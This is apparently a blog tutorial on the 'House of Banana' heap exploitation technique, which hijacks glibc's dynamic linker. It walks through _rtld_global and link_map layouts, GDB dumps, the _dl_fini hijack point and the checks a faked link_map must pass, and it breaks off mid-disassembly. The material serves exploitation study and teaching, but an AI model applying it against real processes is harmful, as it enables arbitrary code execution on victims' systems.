TL;DR

The House of Banana attack is an exploitation technique used to hijack control flow by manipulating structures in the dynamic linker (ld.so), published by the author Ha1vk. Specifically, it targets the _rtld_global structure, which maintains important information about loaded shared objects (such as libraries) in the link_map structures.

Admittedly, this attack is more complex compared to I/O exploitation techniques like House of Apple and House of Emma. The trigger mirrors that of House of Apple, relying on the exit function or a quit mechanism from the main function. However, it shares a key advantage: it only requires a single Largebin-attack primitive (or any primitive that allows us to write an address into an arbitrary target pointer/address) to complete the exploit. Despite this similarity, the complexity is significantly higher.

In many cases, we could opt for House of Apple or other I/O exploitation techniques to achieve the same result. However, House of Banana serves as an excellent case study for heap exploitation, particularly when certain I/O operations are restricted.

Note: I will be posting detailed structures relevant to this attack in this blog post, focusing on _rtld_global and exploiting the dynamic linker (ld.so). Feel free to share your thoughts or point out any mistakes I might have made—your feedback is more than welcome.

BACKGROUND

Before diving into the exploitation of ld.so, let's first explore the concept of namespace in Linux systems.

In the dynamic linker, namespaces provide isolated environments for symbol resolution, allowing different libraries or processes to maintain their own separate space. This isolation prevents symbol conflicts, enabling shared objects with identical names to coexist within the same program without interference.

For this purpose, The _rtld_global structure and its components play a crucial role in managing the complex process of loading and linking shared libraries. It is responsible for:

  • Managing namespaces
  • Resolving symbols
  • Supporting debugging.

This structure ensures that shared objects, such as libraries, are correctly loaded into the memory space of a running program. For instance, the libc_map entry within _rtld_global ensures that libc.so is properly shared and referenced across namespaces, allowing essential functions like memory management and input/output to be linked correctly.

STRUCT | rtld_global

Structure

The _rtld_global structure in ld.so (the dynamic linker/loader for Linux) is a critical internal data structure that governs key aspects of dynamic linking and symbol resolution. It handles the management of loaded shared libraries, their interrelationships, and the process of linking symbols between them.

This structure, defined in the GLIBC source code, is highly complex and fundamental to the efficient operation of dynamic linking in Linux:

struct rtld_global
{
#endif
  /* Don't change the order of the following elements.  'dl_loaded'
     must remain the first element.  Forever.  */

/* Non-shared code has no support for multiple namespaces.  */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
  EXTERN struct link_namespaces
  {
    /* A pointer to the map for the main map.  */
    struct link_map *_ns_loaded;
    /* Number of object in the _dl_loaded list.  */
    unsigned int _ns_nloaded;
    /* Direct pointer to the searchlist of the main object.  */
    struct r_scope_elem *_ns_main_searchlist;
    /* This is zero at program start to signal that the global scope map is
       allocated by rtld.  Later it keeps the size of the map.  It might be
       reset if in _dl_close if the last global object is removed.  */
    unsigned int _ns_global_scope_alloc;

    /* During dlopen, this is the number of objects that still need to
       be added to the global scope map.  It has to be taken into
       account when resizing the map, for future map additions after
       recursive dlopen calls from ELF constructors.  */
    unsigned int _ns_global_scope_pending_adds;

    /* Once libc.so has been loaded into the namespace, this points to
       its link map.  */
    struct link_map *libc_map;

    /* Search table for unique objects.  */
    struct unique_sym_table
    {
      __rtld_lock_define_recursive (, lock)
      struct unique_sym
      {
    uint32_t hashval;
    const char *name;
    const ElfW(Sym) *sym;
    const struct link_map *map;
      } *entries;
      size_t size;
      size_t n_elements;
      void (*free) (void *);
    } _ns_unique_sym_table;
    /* Keep track of changes to each namespace' list.  */
    struct r_debug _ns_debug;
  } _dl_ns[DL_NNS];
  /* One higher than index of last used namespace.  */
  EXTERN size_t _dl_nns;

  ...
      
};

In GDB, we can examine an example of the _rtld_global structure, which is incredibly large and complex:

pwndbg> p _rtld_global
$1 = {
  _dl_ns = {{
      _ns_loaded = 0x7ffff7ffe2e0,
      _ns_nloaded = 4,
      _ns_main_searchlist = 0x7ffff7ffe5a0,
      _ns_global_scope_alloc = 0,
      _ns_global_scope_pending_adds = 0,
      libc_map = 0x7ffff7fbb160,
      _ns_unique_sym_table = {
        lock = {
          mutex = {
            __data = {
              __lock = 0,
              __count = 0,
              __owner = 0,
              __nusers = 0,
              __kind = 1,
              __spins = 0,
              __elision = 0,
              __list = {
                __prev = 0x0,
                __next = 0x0
              }
            },
            __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
            __align = 0
          }
        },
        entries = 0x0,
        size = 0,
        n_elements = 0,
        free = 0x0
      },
      _ns_debug = {
        base = {
          r_version = 0,
          r_map = 0x0,
          r_brk = 0,
          r_state = RT_CONSISTENT,
          r_ldbase = 0
        },
        r_next = 0x0
      }
    }, {
      _ns_loaded = 0x0,
      _ns_nloaded = 0,
      _ns_main_searchlist = 0x0,
      _ns_global_scope_alloc = 0,
      _ns_global_scope_pending_adds = 0,
      libc_map = 0x0,
      _ns_unique_sym_table = {
        lock = {
          mutex = {
            __data = {
              __lock = 0,
              __count = 0,
              __owner = 0,
              __nusers = 0,
              __kind = 0,
              __spins = 0,
              __elision = 0,
              __list = {
                __prev = 0x0,
                __next = 0x0
              }
            },
            __size = '\000' <repeats 39 times>,
            __align = 0
          }
        },
        entries = 0x0,
        size = 0,
        n_elements = 0,
        free = 0x0
      },
      _ns_debug = {
        base = {
          r_version = 0,
          r_map = 0x0,
          r_brk = 0,
          r_state = RT_CONSISTENT,
          r_ldbase = 0
        },
        r_next = 0x0
      }
    } <repeats 15 times>},
  _dl_nns = 1,
  _dl_load_lock = {
    mutex = {
      __data = {
        __lock = 0,
        __count = 0,
        __owner = 0,
        __nusers = 0,
        __kind = 1,
        __spins = 0,
        __elision = 0,
        __list = {
          __prev = 0x0,
          __next = 0x0
        }
      },
      __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
      __align = 0
    }
  },
  _dl_load_write_lock = {
    mutex = {
      __data = {
        __lock = 0,
        __count = 0,
        __owner = 0,
        __nusers = 0,
        __kind = 1,
        __spins = 0,
        __elision = 0,
        __list = {
          __prev = 0x0,
          __next = 0x0
        }
      },
      __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
      __align = 0
    }
  },
  _dl_load_tls_lock = {
    mutex = {
      __data = {
        __lock = 0,
        __count = 0,
        __owner = 0,
        __nusers = 0,
        __kind = 1,
        __spins = 0,
        __elision = 0,
        __list = {
          __prev = 0x0,
          __next = 0x0
        }
      },
      __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
      __align = 0
    }
  },
  _dl_load_adds = 4,
  _dl_initfirst = 0x0,
  _dl_profile_map = 0x0,
  _dl_num_relocations = 102,
  _dl_num_cache_relocations = 3,
  _dl_all_dirs = 0x7ffff7fbb000,
  _dl_rtld_map = {
    l_addr = 140737353887744,
    l_name = 0x555555554318 "/lib64/ld-linux-x86-64.so.2",
    l_ld = 0x7ffff7ffce80,
    l_next = 0x0,
    l_prev = 0x7ffff7fbb160,
    l_real = 0x7ffff7ffdaf0 <_rtld_global+2736>,
    l_ns = 0,
    l_libname = 0x7ffff7ffe280 <_dl_rtld_libname>,
    l_info = {0x0, 0x0, 0x7ffff7ffcf00, 0x7ffff7ffcef0, 0x7ffff7ffce90, 0x7ffff7ffceb0, 0x7ffff7ffcec0, 0x7ffff7ffcf30, 0x7ffff7ffcf40, 0x7ffff7ffcf50, 0x7ffff7ffced0, 0x7ffff7ffcee0, 0x0, 0x0, 0x7ffff7ffce80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf10, 0x0, 0x0, 0x7ffff7ffcf20, 0x0 <repeats 13 times>, 0x7ffff7ffcf70, 0x7ffff7ffcf60, 0x0, 0x0, 0x7ffff7ffcf90, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf80, 0x0 <repeats 25 times>, 0x7ffff7ffcea0},
    l_phdr = 0x7ffff7fc3040,
    l_entry = 0,
    l_phnum = 11,
    l_ldnum = 0,
    l_searchlist = {
      r_list = 0x0,
      r_nlist = 0
    },
    l_symbolic_searchlist = {
      r_list = 0x0,
      r_nlist = 0
    },
    l_loader = 0x0,
    l_versions = 0x7ffff7fbbb60,
    l_nversions = 8,
    l_nbuckets = 37,
    l_gnu_bitmask_idxbits = 3,
    l_gnu_shift = 8,
    l_gnu_bitmask = 0x7ffff7fc3440,
    {
      l_gnu_buckets = 0x7ffff7fc3460,
      l_chain = 0x7ffff7fc3460
    },
    {
      l_gnu_chain_zero = 0x7ffff7fc34f0,
      l_buckets = 0x7ffff7fc34f0
    },
    l_direct_opencount = 0,
    l_type = lt_library,
    l_relocated = 1,
    l_init_called = 1,
    l_global = 1,
    l_reserved = 0,
    l_main_map = 0,
    l_visited = 1,
    l_map_used = 0,
    l_map_done = 0,
    l_phdr_allocated = 0,
    l_soname_added = 0,
    l_faked = 0,
    l_need_tls_init = 0,
    l_auditing = 0,
    l_audit_any_plt = 0,
    l_removed = 0,
    l_contiguous = 0,
    l_symbolic_in_local_scope = 0,
    l_free_initfini = 0,
    l_ld_readonly = 0,
    l_find_object_processed = 0,
    l_nodelete_active = false,
    l_nodelete_pending = false,
    l_property = lc_property_unknown,
    l_x86_feature_1_and = 0,
    l_x86_isa_1_needed = 0,
    l_1_needed = 0,
    l_rpath_dirs = {
      dirs = 0x0,
      malloced = 0
    },
    l_reloc_result = 0x0,
    l_versyms = 0x7ffff7fc3c12,
    l_origin = 0x0,
    l_map_start = 140737353887744,
    l_map_end = 140737354130136,
    l_text_end = 140737354064661,
    l_scope_mem = {0x0, 0x0, 0x0, 0x0},
    l_scope_max = 0,
    l_scope = 0x0,
    l_local_scope = {0x0, 0x0},
    l_file_id = {
      dev = 0,
      ino = 0
    },
    l_runpath_dirs = {
      dirs = 0x0,
      malloced = 0
    },
    l_initfini = 0x0,
    l_reldeps = 0x0,
    l_reldepsmax = 0,
    l_used = 1,
    l_feature_1 = 0,
    l_flags_1 = 0,
    l_flags = 0,
    l_idx = 0,
    l_mach = {
      plt = 0,
      gotplt = 0,
      tlsdesc_table = 0x0
    },
    l_lookup_cache = {
      sym = 0x7ffff7fc38d8,
      type_class = 1,
      value = 0x7ffff7fbb160,
      ret = 0x7ffff7d8ae60
    },
    l_tls_initimage = 0x0,
    l_tls_initimage_size = 0,
    l_tls_blocksize = 0,
    l_tls_align = 0,
    l_tls_firstbyte_offset = 0,
    l_tls_offset = 0,
    l_tls_modid = 0,
    l_tls_dtor_count = 0,
    l_relro_addr = 230944,
    l_relro_size = 6624,
    l_serial = 0
  },
  _dl_rtld_auditstate = {{
      cookie = 0,
      bindflags = 0
    } <repeats 16 times>},
  _dl_x86_feature_1 = 0,
  _dl_x86_feature_control = {
    ibt = cet_elf_property,
    shstk = cet_elf_property
  },
  _dl_stack_flags = 6,
  _dl_tls_dtv_gaps = false,
  _dl_tls_max_dtv_idx = 1,
  _dl_tls_dtv_slotinfo_list = 0x7ffff7fbbc20,
  _dl_tls_static_nelem = 1,
  _dl_tls_static_used = 144,
  _dl_tls_static_optional = 512,
  _dl_initial_dtv = 0x7ffff7d81160,
  _dl_tls_generation = 1,
  _dl_scope_free_list = 0x0,
  _dl_stack_used = {
    next = 0x7ffff7ffe0c8 <_rtld_global+4232>,
    prev = 0x7ffff7ffe0c8 <_rtld_global+4232>
  },
  _dl_stack_user = {
    next = 0x7ffff7d80a00,
    prev = 0x7ffff7d80a00
  },
  _dl_stack_cache = {
    next = 0x7ffff7ffe0e8 <_rtld_global+4264>,
    prev = 0x7ffff7ffe0e8 <_rtld_global+4264>
  },
  _dl_stack_cache_actsize = 0,
  _dl_in_flight_stack = 0,
  _dl_stack_cache_lock = 0
}

Here are the offset details for the _rtld_global structure, which highlight the various fields and their roles within the dynamic linking process:

/* offset      |    size */  type = struct rtld_global {
/* 0x0000      |  0x0a00 */    struct link_namespaces _dl_ns[16];
/* 0x0a00      |  0x0008 */    size_t _dl_nns;
/* 0x0a08      |  0x0028 */    __rtld_lock_recursive_t _dl_load_lock;
/* 0x0a30      |  0x0028 */    __rtld_lock_recursive_t _dl_load_write_lock;
/* 0x0a58      |  0x0028 */    __rtld_lock_recursive_t _dl_load_tls_lock;
/* 0x0a80      |  0x0008 */    unsigned long long _dl_load_adds;
/* 0x0a88      |  0x0008 */    struct link_map *_dl_initfirst;
/* 0x0a90      |  0x0008 */    struct link_map *_dl_profile_map;
/* 0x0a98      |  0x0008 */    unsigned long _dl_num_relocations;
/* 0x0aa0      |  0x0008 */    unsigned long _dl_num_cache_relocations;
/* 0x0aa8      |  0x0008 */    struct r_search_path_elem *_dl_all_dirs;
/* 0x0ab0      |  0x0488 */    struct link_map {
/* 0x0ab0      |  0x0008 */        Elf64_Addr l_addr;
/* 0x0ab8      |  0x0008 */        char *l_name;
/* 0x0ac0      |  0x0008 */        Elf64_Dyn *l_ld;
/* 0x0ac8      |  0x0008 */        struct link_map *l_next;
/* 0x0ad0      |  0x0008 */        struct link_map *l_prev;
/* 0x0ad8      |  0x0008 */        struct link_map *l_real;
/* 0x0ae0      |  0x0008 */        Lmid_t l_ns;
/* 0x0ae8      |  0x0008 */        struct libname_list *l_libname;
/* 0x0af0      |  0x0268 */        Elf64_Dyn *l_info[77];
/* 0x0d58      |  0x0008 */        const Elf64_Phdr *l_phdr;
/* 0x0d60      |  0x0008 */        Elf64_Addr l_entry;
/* 0x0d68      |  0x0002 */        Elf64_Half l_phnum;
/* 0x0d6a      |  0x0002 */        Elf64_Half l_ldnum;
/* XXX  0x4-byte hole      */
/* 0x0d6c      |  0x0010 */        struct r_scope_elem {
/* 0x0d6c      |  0x0008 */            struct link_map **r_list;
/* 0x0d74      |  0x0004 */            unsigned int r_nlist;
/* XXX  0x4-byte padding   */

/* total size (bytes): 0x0010 */
                                   } l_searchlist;
/* 0x0d7c      |  0x0010 */        struct r_scope_elem {
/* 0x0d7c      |  0x0008 */            struct link_map **r_list;
/* 0x0d84      |  0x0004 */            unsigned int r_nlist;
/* XXX  0x4-byte padding   */

/* total size (bytes): 0x0010 */
                                   } l_symbolic_searchlist;
/* 0x0d94      |  0x0008 */        struct link_map *l_loader;
/* 0x0d9c      |  0x0008 */        struct r_found_version *l_versions;
/* 0x0da4      |  0x0004 */        unsigned int l_nversions;
/* 0x0da8      |  0x0004 */        Elf_Symndx l_nbuckets;
/* 0x0dac      |  0x0004 */        Elf32_Word l_gnu_bitmask_idxbits;
/* 0x0db0      |  0x0004 */        Elf32_Word l_gnu_shift;
/* 0x0db4      |  0x0008 */        const Elf64_Addr *l_gnu_bitmask;
/* 0x0dbc      |  0x0008 */        union {
/* 0x0008 */            const Elf32_Word *l_gnu_buckets;
/* 0x0008 */            const Elf_Symndx *l_chain;

/* total size (bytes): 0x0008 */
                                   };
/* 0x0dc4      |  0x0008 */        union {
/* 0x0008 */            const Elf32_Word *l_gnu_chain_zero;
/* 0x0008 */            const Elf_Symndx *l_buckets;

/* total size (bytes): 0x0008 */
                                   };
/* 0x0dcc      |  0x0004 */        unsigned int l_direct_opencount;
/* 0x0dd0: 0   |  0x0004 */        enum {lt_executable, lt_library, lt_loaded} l_type : 2;
/* 0x0dd0: 2   |  0x0004 */        unsigned int l_relocated : 1;
/* 0x0dd0: 3   |  0x0004 */        unsigned int l_init_called : 1;
/* 0x0dd0: 4   |  0x0004 */        unsigned int l_global : 1;
/* 0x0dd0: 5   |  0x0004 */        unsigned int l_reserved : 2;
/* 0x0dd0: 7   |  0x0004 */        unsigned int l_main_map : 1;
/* 0x0dd1: 0   |  0x0004 */        unsigned int l_visited : 1;
/* 0x0dd1: 1   |  0x0004 */        unsigned int l_map_used : 1;
/* 0x0dd1: 2   |  0x0004 */        unsigned int l_map_done : 1;
/* 0x0dd1: 3   |  0x0004 */        unsigned int l_phdr_allocated : 1;
/* 0x0dd1: 4   |  0x0004 */        unsigned int l_soname_added : 1;
/* 0x0dd1: 5   |  0x0004 */        unsigned int l_faked : 1;
/* 0x0dd1: 6   |  0x0004 */        unsigned int l_need_tls_init : 1;
/* 0x0dd1: 7   |  0x0004 */        unsigned int l_auditing : 1;
/* 0x0dd2: 0   |  0x0004 */        unsigned int l_audit_any_plt : 1;
/* 0x0dd2: 1   |  0x0004 */        unsigned int l_removed : 1;
/* 0x0dd2: 2   |  0x0004 */        unsigned int l_contiguous : 1;
/* 0x0dd2: 3   |  0x0004 */        unsigned int l_symbolic_in_local_scope : 1;
/* 0x0dd2: 4   |  0x0004 */        unsigned int l_free_initfini : 1;
/* 0x0dd2: 5   |  0x0004 */        unsigned int l_ld_readonly : 1;
/* 0x0dd2: 6   |  0x0004 */        unsigned int l_find_object_processed : 1;
/* XXX  0x1-bit hole       */
/* 0x0dd3      |  0x0001 */        _Bool l_nodelete_active;
/* 0x0dd4      |  0x0001 */        _Bool l_nodelete_pending;
/* 0x0dd5: 0   |  0x0004 */        enum {lc_property_unknown, lc_property_none, lc_property_valid} l_property : 2;
/* XXX  0x6-bit hole       */
/* XXX  0x2-byte hole      */
/* 0x0dd8      |  0x0004 */        unsigned int l_x86_feature_1_and;
/* 0x0ddc      |  0x0004 */        unsigned int l_x86_isa_1

Key Components

  1. Namespaces (_dl_ns):
    • The _dl_ns array is a key element of the rtld_global structure. It allows for managing different "link namespaces", which are essentially independent environments where shared libraries are loaded and symbols are resolved.
    • For most processes, there is only one namespace (DL_NNS is 1 in non-shared environments). In shared environments, there can be multiple namespaces (e.g., for dlmopen).
    Each namespace (_dl_ns) contains:
    • _ns_loaded: A pointer to the link_map for the main loaded object. The link_map contains metadata for shared libraries.
    • _ns_nloaded: Number of objects in the loaded list. This must be NOT less than 4 to bypass security check.
    • _ns_main_searchlist: A pointer to the search list for the main object.
    • libc_map: Once libc.so is loaded, this points to its link_map. It helps in managing libc globally in the process.
  2. _dl_nns:
    • This variable tracks how many namespaces are currently in use. It is "one higher than the index of the last used namespace."
  3. Unique Symbol Table (_ns_unique_sym_table):
    • This part of the structure is used to ensure that each shared library has unique symbols.
    • It contains:
      • lock: A recursive lock to ensure thread-safety while accessing this table.
      • entries: An array of symbols (unique_sym), which contains information like:
        • hashval: A hash value of the symbol’s name (used for fast lookup).
        • name: The name of the symbol.
        • sym: A pointer to the actual ELF symbol.
        • map: The link_map entry of the shared object containing the symbol.
      • size: The size of the unique symbol table.
      • n_elements: The number of elements currently in the table.
      • free: A function pointer used for freeing memory in this structure.
  4. r_debug (_ns_debug):
    • This structure is used for debugging the linking process. It helps in tracking changes made to the list of loaded objects in each namespace.
    • This structure is crucial for tools like gdb to track which shared libraries have been loaded or unloaded dynamically.

Other Components

Other Notable Elements in _rtld_global:

  • _dl_load_lock: Ensures synchronization when loading shared objects.
  • _dl_rtld_lock: A lock to synchronize operations in the dynamic linker.
  • _dl_initfirst: This tracks the first object to be initialized during dynamic linking.
  • _dl_load_adds: Keeps track of objects being loaded to prevent duplicate additions during recursive dlopen calls.

Life Cycle

The _rtld_global structure enables the dynamic linker to efficiently manage shared libraries throughout their lifecycle. It keeps track of:

  • The list of loaded shared objects.
  • Symbol resolution for different namespaces.
  • The state of the dynamic linking process for debugging purposes.

This structure plays a critical role in the entire lifecycle of shared objects, from loading them into memory (dlopen), resolving their symbols, to unloading them (dlclose).

ATTACK

In the above code snippet, we can observe two key elements: link_map and fini_array.

The link_map structure and the handling of the fini_array section are critical for understanding how the dynamic linker (ld.so) handles finalization functions registered in shared objects (DSOs). These finalization functions are executed when a shared object is unloaded or when the program terminates. The key in House of Banana is exploiting the fini_array to achieve arbitrary code execution, potentially by overwriting it with an evil gadget/function pointer.

  1. link_map Structure: The link_map structure represents the dynamic linker’s metadata for each shared object loaded into the process’s address space. It contains information such as:
    • The base address where the object is loaded (l_addr).
    • Pointers to the dynamic sections of the ELF file (l_info[]), which includes pointers to the DT_INIT, DT_FINI, DT_FINI_ARRAY, and other dynamic sections.
  2. The fini_array Section:
    • The fini_array section (DT_FINI_ARRAY) is an array of function pointers that are registered to be called when a shared object (DSO) is unloaded, or when the program terminates.

Struct | link_map

/* offset      |    size */  type = struct link_map {
/* 0x0000      |   0x0008 */    Elf64_Addr l_addr;
/* 0x0008      |   0x0008 */    char *l_name;
/* 0x0010      |   0x0008 */    Elf64_Dyn *l_ld;
/* 0x0018      |   0x0008 */    struct link_map *l_next;
/* 0x0020      |   0x0008 */    struct link_map *l_prev;
/* 0x0028      |   0x0008 */    struct link_map *l_real;
/* 0x0030      |   0x0008 */    Lmid_t l_ns;
/* 0x0038      |   0x0008 */    struct libname_list *l_libname;
/* 0x0040      |   0x0268 */    Elf64_Dyn *l_info[77];
/* 0x06A8      |   0x0008 */    const Elf64_Phdr *l_phdr;
/* 0x06B0      |   0x0008 */    Elf64_Addr l_entry;
/* 0x06B8      |   0x0002 */    Elf64_Half l_phnum;
/* 0x06BA      |   0x0002 */    Elf64_Half l_ldnum;
/* XXX  0x4-byte hole      */
/* 0x06C0      |   0x0010 */    struct r_scope_elem {
/* 0x06C0      |   0x0008 */        struct link_map **r_list;
/* 0x06C8      |   0x0004 */        unsigned int r_nlist;
/* XXX  0x4-byte padding   */

                                  /* total size (bytes):   0x10 */
                              } l_searchlist;
/* 0x06D0      |   0x0010 */    struct r_scope_elem {
/* 0x06D0      |   0x0008 */        struct link_map **r_list;
/* 0x06D8      |   0x0004 */        unsigned int r_nlist;
/* XXX  0x4-byte padding   */

                                  /* total size (bytes):   0x10 */
                              } l_symbolic_searchlist;
/* 0x06E0      |   0x0008 */    struct link_map *l_loader;
/* 0x06E8      |   0x0008 */    struct r_found_version *l_versions;
/* 0x06F0      |   0x0004 */    unsigned int l_nversions;
/* 0x06F4      |   0x0004 */    Elf_Symndx l_nbuckets;
/* 0x06F8      |   0x0004 */    Elf32_Word l_gnu_bitmask_idxbits;
/* 0x06FC      |   0x0004 */    Elf32_Word l_gnu_shift;
/* 0x0700      |   0x0008 */    const Elf64_Addr *l_gnu_bitmask;
/* 0x0708      |   0x0008 */    union {
/* 0x0008 */        const Elf32_Word *l_gnu_buckets;
/* 0x0008 */        const Elf_Symndx *l_chain;

                                  /* total size (bytes):   0x08 */
                              };
/* 0x0710      |   0x0008 */    union {
/* 0x0008 */        const Elf32_Word *l_gnu_chain_zero;
/* 0x0008 */        const Elf_Symndx *l_buckets;

                                  /* total size (bytes):   0x08 */
                              };
/* 0x0718      |   0x0004 */    unsigned int l_direct_opencount;
/* 0x071C: 0   |   0x0004 */    enum {lt_executable, lt_library, lt_loaded} l_type : 2;
/* 0x071C: 2   |   0x0004 */    unsigned int l_relocated : 1;
/* 0x071C: 3   |   0x0004 */    unsigned int l_init_called : 1;
/* 0x071C: 4   |   0x0004 */    unsigned int l_global : 1;
/* 0x071C: 5   |   0x0004 */    unsigned int l_reserved : 2;
/* 0x071C: 7   |   0x0004 */    unsigned int l_main_map : 1;
/* 0x071D: 0   |   0x0004 */    unsigned int l_visited : 1;
/* 0x071D: 1   |   0x0004 */    unsigned int l_map_used : 1;
/* 0x071D: 2   |   0x0004 */    unsigned int l_map_done : 1;
/* 0x071D: 3   |   0x0004 */    unsigned int l_phdr_allocated : 1;
/* 0x071D: 4   |   0x0004 */    unsigned int l_soname_added : 1;
/* 0x071D: 5   |   0x0004 */    unsigned int l_faked : 1;
/* 0x071D: 6   |   0x0004 */    unsigned int l_need_tls_init : 1;
/* 0x071D: 7   |   0x0004 */    unsigned int l_auditing : 1;
/* 0x071E: 0   |   0x0004 */    unsigned int l_audit_any_plt : 1;
/* 0x071E: 1   |   0x0004 */    unsigned int l_removed : 1;
/* 0x071E: 2   |   0x0004 */    unsigned int l_contiguous : 1;
/* 0x071E: 3   |   0x0004 */    unsigned int l_symbolic_in_local_scope : 1;
/* 0x071E: 4   |   0x0004 */    unsigned int l_free_initfini : 1;
/* 0x071E: 5   |   0x0004 */    unsigned int l_ld_readonly : 1;
/* 0x071E: 6   |   0x0004 */    unsigned int l_find_object_processed : 1;
/* XXX  0x1-bit hole       */
/* 0x071F      |   0x0001 */    _Bool l_nodelete_active;
/* 0x0720      |   0x0001 */    _Bool l_nodelete_pending;
/* 0x0721: 0   |   0x0004 */    enum {lc_property_unknown, lc_property_none, lc_property_valid} l_property : 2;
/* XXX  0x6-bit hole       */
/* XXX  0x2-byte hole      */
/* 0x0724      |   0x0004 */    unsigned int l_x86_feature_1_and;
/* 0x0728      |   0x0004 */    unsigned int l_x86_isa_1_needed;
/* 0x072C      |   0x0004 */    unsigned int l_1_needed;
/* 0x0730      |   0x0010 */    struct r_search_path_struct {
/* 0x0730      |   0x0008 */        struct r_search_path_elem **dirs;
/* 0x0738      |   0x0004 */        int malloced;
/* XXX  0x4-byte padding   */

                                  /* total size (bytes):   0x10 */
                              } l_rpath_dirs;
/* 0x0740      |   0x0008 */    struct reloc_result *l_reloc_result;
/* 0x0748      |   0x0008 */    Elf64_Versym *l_versyms;
/* 0x0750      |   0x0008 */    const char *l_origin;
/* 0x0758      |   0x0008 */    Elf64_Addr l_map_start;
/* 0x0760      |   0x0008 */    Elf64_Addr l_map_end;
/* 0x0768      |   0x0008 */    Elf64_Addr l_text_end;
/* 0x0770      |   0x0020 */    struct r_scope_elem *l_scope_mem[4];
/* 0x0790      |   0x0008 */    size_t l_scope_max;
/* 0x0798      |   0x0008 */    struct r_scope_elem **l_scope;
/* 0x07A0      |   0x0010 */    struct r_scope

This is the target structure we need to FAKE.

### Function | _dl_fini

Source Code

When function _dl_fini is called, it executes these function pointers from the array—it handles the finalization of shared objects and iterates over the loaded shared objects (represented by the link_map structure) and calls their destructors:

void
_dl_fini (void)
{
    
...
      struct link_map *maps[nloaded];               

      unsigned int i;
      struct link_map *l;
      assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
      for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
        /* Do not handle ld.so in secondary namespaces.  */
        if (l == l->l_real)                     // Security check
          {
        assert (i < nloaded);

        maps[i] = l;
        l->l_idx = i;
        ++i;

        /* Bump l_direct_opencount of all objects so that they
           are not dlclose()ed from underneath us.  */
        ++l->l_direct_opencount;
          }
      assert (ns != LM_ID_BASE || i == nloaded);
      assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
      unsigned int nmaps = i;

      _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
             NULL, true);

      __rtld_lock_unlock_recursive (GL(dl_load_lock));

      for (i = 0; i < nmaps; ++i)
        {
          struct link_map *l = maps[i];         // Enumerate link_map

          if (l->l_init_called)                 // Important check
        {
          l->l_init_called = 0;                     

          /* Is there a destructor function?  */
          if (l->l_info[DT_FINI_ARRAY] != NULL
              || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
            {
              /* When debugging print a message first.  */
              if (__builtin_expect (GLRO(dl_debug_mask)
                        & DL_DEBUG_IMPCALLS, 0))
            _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
                      DSO_FILENAME (l->l_name),
                      ns);

              /* First see whether an array is given.  */
              if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
              ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr
                        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
              unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                        / sizeof (ElfW(Addr)));
              while (i-- > 0)
                ((fini_t) array[i]) ();                 // Hijack point!
            }

...
    
}
  1. Building the List of Loaded Objects (maps Array):
    • The code constructs a list of loaded objects (maps[]) by traversing the link_map chain (GL(dl_ns)[ns]._ns_loaded). It checks that the l_real pointer matches the object itself (l == l->l_real), ensuring that it works with the real object, not an alias or duplicate.
    • It ensures that the objects won’t be unloaded during this process by incrementing the l_direct_opencount.
  2. Sorting the Objects:
    • The objects are sorted by dependency order using _dl_sort_maps() to ensure that the destructors (fini functions) are called in the proper order, respecting the dependency between shared objects.
  3. Executing the fini Functions:
    • The key section of the code starts here: it checks whether the fini_array or fini function pointers are present in the link_map structure. If so, these functions are executed to perform cleanup before the shared object is unloaded.
    • The code checks l->l_info[DT_FINI_ARRAY], which contains the address of the fini_array. It then iterates through the array and calls each function pointer in reverse order: ((fini_t) array[i])();.
    • This is the line that can be exploited. If we can control the contents of the fini_array, we can potentially place an evil gadget/function pointer to be executed at program termination.

Assembly

Assembler dump in GDB:

pwndbg> disassemble _dl_fini
Dump of assembler code for function _dl_fini:
=> 0x00007ffff7fc9040 <+0>:	endbr64 
   0x00007ffff7fc9044 <+4>:	push   rbp
   0x00007ffff7fc9045 <+5>:	mov    rbp,rsp
   0x00007ffff7fc9048 <+8>:	push   r15
   0x00007ffff7fc904a <+10>:	push   r14
   0x00007ffff7fc904c <+12>:	push   r13
   0x00007ffff7fc904e <+14>:	push   r12
   0x00007ffff7fc9050 <+16>:	push   rbx
   0x00007ffff7fc9051 <+17>:	sub    rsp,0x38
   0x00007ffff7fc9055 <+21>:	mov    r12,QWORD PTR [rip+0x349e4]        # 0x7ffff7ffda40 <_rtld_global+2560>
   0x00007ffff7fc905c <+28>:	sub    r12,0x1
   0x00007ffff7fc9060 <+32>:	js     0x7ffff7fc9301 <_dl_fini+705>
   0x00007ffff7fc9066 <+38>:	mov    DWORD PTR [rbp-0x44],0x0
   0x00007ffff7fc906d <+45>:	lea    r13,[rip+0x349d4]        # 0x7ffff7ffda48 <_rtld_global+2568>
   0x00007ffff7fc9074 <+52>:	lea    rbx,[r12+r12*4]
   0x00007ffff7fc9078 <+56>:	lea    rax,[rip+0x33fc1]        # 0x7ffff7ffd040 <_rtld_global>
   0x00007ffff7fc907f <+63>:	shl    rbx,0x5
   0x00007ffff7fc9083 <+67>:	add    rbx,rax
   0x00007ffff7fc9086 <+70>:	jmp    0x7ffff7fc90ae <_dl_fini+110>
   0x00007ffff7fc9088 <+72>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7fc9090 <+80>:	mov    rdi,r13
   0x00007ffff7fc9093 <+83>:	call   QWORD PTR [rip+0x339df]        # 0x7ffff7ffca78 <___rtld_mutex_unlock>
   0x00007ffff7fc9099 <+89>:	sub    r12,0x1
   0x00007ffff7fc909d <+93>:	sub    rbx,0xa0
